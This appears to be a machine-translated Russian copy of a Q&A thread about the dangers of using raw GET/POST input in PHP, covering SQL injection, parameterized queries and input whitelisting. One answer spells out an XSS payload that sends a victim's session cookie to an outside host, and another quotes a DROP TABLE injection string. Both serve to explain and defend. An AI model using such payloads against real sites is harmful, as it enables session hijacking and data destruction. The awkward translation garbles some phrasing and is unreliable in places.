Я хочу знать какие уязвимости при использовании GET и POST-переменной напрямую. т. Е. Без функции обрезки и добавок, а mysql escape-последовательности - вот что.Каковы уязвимости в прямом использовании GET и POST?
Мой Вопрос
Что еще нам нужно позаботиться о во время игры с GET и POST.
Какие атаки существуют как SQL-инъекция?
В общем, и не ограничивается GET и POST, но и любые данные что приходит извне системы (включая файлы cookie в случае веб-приложений):
Почти все уязвимости сводятся к «Пользователь может запускать любой код, который им нравится, в том контексте, в котором вы передаете свой вход».
Вам нужно подумать о том, что вы делаете с данными. Ищите список возможных вещей, которые могут пойти не так, когда принимать испорченный вход в любую систему в мире не приведет к составлению исчерпывающего списка.
И как в сторону: забудьте добавляет (не работает), забудьте mysql_real_escape (с этим слишком легко совершить ошибку). Используйте параметризованные запросы: How can I prevent SQL injection in PHP?
+1. Не только GET, POST и файлы cookie. Даже REFERER может вызвать у вас неприятности: http://www.hanselman.com/blog/BackToBasicsTrustNothingAsUserInputComesFromAllOver.aspx –
Если вы берете любую GET или POST-переменную и эффективно «выполняете» ее, не передавая ее через какой-либо фильтр, вы открываете себя для инъекций. SQL-инъекция, очевидно, является очень распространенным случаем, но если вы делаете любые eval() с этими данными (на языке программирования или любой другой базе данных или интерпретируемой ситуацией, включая передачу HTML обратно в браузер, который будет интерпретироваться на клиенте) то осведомленные злоумышленники могут создавать входные данные, которые заставят ваше приложение делать непредвиденные действия.
Это больше, чем просто «получить» или «отправить». Все зависит от программирования, которое вы сделали для их поддержки. Если вы просто загружаете статическую страницу html, не так много уязвимостей. Если, с другой стороны, вы устанавливаете и изменяете данные, получая запросы, эти уязвимости могут быть бесконечными, просто найдите случаи, когда google-бот уничтожает данные из мест, которые использовали «get» для отправки вещей.
Все зависит от того, для чего вы используете данные, а уязвимости ограничены для получения или установки. Санируйте свои входы.
Самое простое возможное XSS нападение с крошечным социальной инженерией
Позволяет предположит, что есть простое приложение PHP, который использует сессии для отслеживания пользователей. И у него есть какой-то админ-интерфейс, где пользователи с более высокими привилегиями могут позволить редактировать контент.
И, давайте предположим, что вы вошли в систему как администратор этого сайта и что находится внутри этого приложения файл request.php со следующим фрагментом кода
echo $GET['action'];
А теперь кто-то обнаруживает это , строит следующий URL http://yourapp/request.php?action= document.location.href = «http://foreignsite?c=» + document.cookie
Тогда что кто-то добавляет этот адрес к tinyurl.com, что сокращает его в нечто вроде http://tinyurl.com/x44534, то он посылает вам по электронной почте , заявив: «Эй, посмотри на это, ты мой нахожу это полезным».
Вы щелкаете по ссылке, tinyurl.com переводит короткий URL-адрес обратно на длинный, перенаправляет ваш браузер к нему, ваш request.php счастливо выводит Javascript из запроса, ваш браузер видит его, выполняет его и как В результате человек, который запускает http://foreignsite, получает все ваши файлы cookie.
Затем ему просто нужно вставить эти значения cookie в свой браузер, а вуаля он имеет мгновенный доступ к интерфейсу администратора сайта. Потому что он получил ваш cookie сессии.
Это простейшая возможная атака XSS, она действительно упрощена, вероятно, не будет работать в реальной жизни, но, надеюсь, вы получили основную идею о том, как она работает.
hmm, ну, SO вынул теги сценария в качестве меры защиты XSS :) в любом случае, значение действия параметр должен быть окружен тегами скриптов, тогда это имеет смысл. –
Данные GET и POST - это данные, которые напрямую отправляются от пользователя. Вы получаете его необработанным, без проверки или проверки между пользователем и вашей программой. Даже если вы должны проверить форму, которая должна инициировать данные, злоумышленник может вручную обработать запрос любыми данными, которые он хочет. Поэтому вы всегда должны обрабатывать данные запроса как ненадежный пользовательский ввод.
Существует множество атак, которые полагаются на кодер, забывая, что данные запроса недостоверны, но наиболее известна SQL-инъекция. Коренной причиной SQL-инъекции является построение запроса путем ручного конкатенации строк, некоторые из которых являются ненадежными пользовательскими вводами. Это означает, что вы сообщаете своей базе данных о выполнении ненадежного ввода пользователем.
Наивное решение для SQL-инъекции - это проверка входных данных, а затем объединение их в строку запроса, но это также плохая форма. Вы полагаетесь на свою логику проверки, чтобы сделать строку безопасной, и если вы неправильно ее используете - или логика глючит - тогда вы снова подвергаетесь атакам.
Правильное решение - отделить ваш запрос от содержащихся в нем данных. Практически все адаптеры баз данных поддерживают этот подход, и если ваш по какой-то причине не подходит, он не подходит для использования. Наиболее распространенной идиомой является (без определенного языка):
myDB.query ("select * from Stuff, где id =?", [42]);
Это гарантирует (в такой системе), что параметры не выполняются. Строка запроса построена из полностью доверенных данных, а недоверенные данные разделены.В худшем случае этот подход, применяемый к неправильному вводу, может привести к неправильным данным, а не к неправильной команде.
Этот подход, позволяющий избежать внедрения SQL, подчеркивает центральный принцип, который применяется ко всем видам атак данных запроса: данные запроса не являются вашими, и это небезопасно. При обращении с любым пользователем, включая данные запроса, всегда предполагайте, что он происходит от злоумышленника с глубоким знанием вашей системы. Это может показаться параноидальным, но оно защитит вас.
Как уже писали люди, любой пользовательский ввод должен считаться вредоносным, независимо от того, насколько безопасным вы можете себя чувствовать.
Разработчики думают о защите кода во время его написания и когда они вносят изменения, в то время как хакеры думают о том, чтобы испортить этот код, когда они решат иметь трещины на нем, которые могут быть сегодня, завтра или в два года. То, что могло казаться совершенно безопасным в момент написания кода, может оказаться полезным в какой-то более поздней точке.
В принципе, все входные данные должны быть отфильтрованы, проверены и подвергнуты санитарной обработке независимо от того, для чего они используются в любой момент времени. Кто-то может пропустить дезинфекцию части пользовательского ввода, потому что «он не будет использоваться для чего-либо, что может нанести вред», а затем через 11 месяцев вниз, кто-то из команды решает использовать предположительно дезинфицированные данные, которые были назначены переменной, в SQL-запросе или вызове системного exec, и вся система ударяет.
Что должно быть сделано:
белый список вместо черных списков - знать, какие типы входных вы ожидаете и преобразовывать пользовательские данные соответственно, идентификаторы, как правило, целые числа, так что это безопасно, чтобы бросить все пользовательские представлены идентификаторы в виде целых чисел. - знайте, когда вы ожидаете небольшое количество данных, и когда вы ожидаете больших результатов. Личные имена обычно относительно короткие и не содержат цифр, «1», «DROP TABLE customers»; это не настоящее имя, и вы можете знать, что без добавления косой черты.
затем черный список некоторые только в случае, если - применять стандартную вытекающую логику для всех данных, которые сделаны через белый список, только в случае, если
затем процеживают и проверить некоторые более - пока вы не чувствовали себя в безопасности
Все суперглобалы могут управляться пользовательскими агентами. $ _SERVER, $ _POST, $ _GET и т. Д.
Общее правило: «Не доверяйте пользовательскому вводу». Все, что приходит от пользователя в любой форме, должно быть проверено безопасностью. – Jess